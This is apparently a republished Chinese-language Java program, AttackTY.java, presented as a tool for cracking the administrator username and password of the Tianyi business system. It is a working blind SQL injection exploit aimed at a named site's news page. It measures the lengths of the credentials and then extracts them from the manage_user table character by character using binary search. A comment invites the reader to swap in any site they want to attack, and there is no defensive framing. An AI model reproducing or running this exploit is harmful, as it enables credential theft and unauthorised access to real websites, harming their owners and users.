java程序破解天意商务系统后台帐号
/**
文件名 : AttackTY.java
描述 : 针对天意商务系统的java程序,破解后台管理员用户名和密码,利用SQL Injection漏洞
注入地址为本网动态的某个新闻,这里以www.ejl.cn为例
作者: 慈勤强
Email : [email protected]
**/
import java.net.*;
import java.io.*;
public class AttackTY extends Thread
{
int iUserLen;
int iPwdLen;
String strKey="暂时还未";
String strU="http://www.ejl.cn/show_news.asp?newsid=105"; //只须修改这里,变成你要攻击的网站地址
//取得某个页面的函数
public String getContent(String strUrl)
{
try{
URL url=new URL(strUrl);
BufferedReader br=new BufferedReader(new InputStreamReader(url.openStream()));
String s="";
StringBuffer sb=new StringBuffer("");
while((s=br.readLine())!=null)
{
sb.append(s+"\r\n");
}
br.close();
return sb.toString();
}
catch(Exception e){
return "error open url" + strUrl;
}
}
//取得管理员用户名和密码的长度
private int getLen(String str)
{
AttackTY ou=new AttackTY();
String s,s1;
for(int i=2;i<20;i++)
{
s=strU+"%20and%20(select%20top%201%20len("+str+")%20from%20manage_user)="+i;
s1=ou.getContent(s);
if(s1.indexOf(strKey)<0)
{
return i;
}
}
return 0;
}
//二分法取得用户名和密码的Ascii码值
private void getValue(String str,int iLen)
{
AttackTY ou=new AttackTY();
String s,s1,s2;
s2="";
int iStart,iEnd,iNow;
for(int j=1;j<=iLen;j++)
{
iStart=33;
iEnd=126;
while(iEnd-iStart>1)
{
iNow=(iStart+iEnd)/2;
s=strU+"%20and%20(select%20top%201%20asc(mid("+str+","+j+",1))%20from%20manage_user)>"+iNow;
s1=ou.getContent(s);
if(s1.indexOf(strKey)<0)
{
iStart = iNow;
}
else
{
iEnd = iNow;
}
}
System.out.print((char)iEnd);
}
}
public static void main(String args[])
{
AttackTY ou=new AttackTY();
ou.iUserLen=ou.getLen("username");
ou.iPwdLen=ou.getLen("password");
System.out.println("用户名:" );
ou.getValue("username",ou.iUserLen);
System.out.println("\r\n密码:");
ou.getValue("password",ou.iPwdLen);
}
}
本文地址:http://com.8s8s.com/it/it14834.htm